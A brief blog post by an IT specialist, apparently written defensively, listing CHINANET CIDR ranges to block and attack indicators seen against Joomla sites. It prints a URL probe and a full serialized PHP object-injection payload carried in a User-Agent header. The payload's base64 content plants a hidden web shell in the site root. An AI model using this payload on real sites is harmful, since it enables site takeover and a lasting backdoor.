If you are planning on blocking CHINANET, here are a few CIDRs to add to your firewall if you are using one of the Content Management Systems called Joomla.

CIDRs

* 180.160.0.0/13
* 180.166.0.0/15
* 180.167.0.0/16

URL Exploits

* //.index.php?xo=echo(base64_decode(‘YWR6b250aWxvc2E=’));

User-Agent

* }__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”
:0:{}s:21:”\0\0\0disconnectHandlers”;a:1:{i:0;a:2:{i:0;O:9:”SimplePie”
:5:{s:8:”sanitize”;O:20:”JDatabaseDriverMysql”:0:}s:8:”feed_url”;s:168:
“eval(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJF9TRVJWRVJbJ0RPQ1VNRU5UX1J
PT1QnXS4nLy5pbmRleC5waHAnLCc8P3BocCBAZXZhbCgkX1JFUVVFU1RbeG9dKTsnKTs));
JFactory::getConfig();exit;”;s:19:”cache_name_function”;s:6:”assert”;s:5:
“cache”;b:1;s:11:”cache_class”;O:20:”JDatabaseDriverMysql”:0:{}}i:1;s:4:
“init”;}}s:13:”\0\0\0connection”;b:1;}𝌆

The following two tabs change content below.

• Bio
• Latest Posts

Stephan Pringle

Chief Executive Officer at Sipylus

About The Author: Stephan Pringle is an Information Technology Specialist. He covers hardware and software and provides tips for you to troubleshoot and repair issues on your own. In his spare time, he writes articles about the State of New York on his Hackintosh and HackBook and that has helped him to become the top contributor of the New York City section of Yahoo! Answers.

Latest posts by Stephan Pringle (see all)

• SaferColleges Training - Friday, November 8, 2019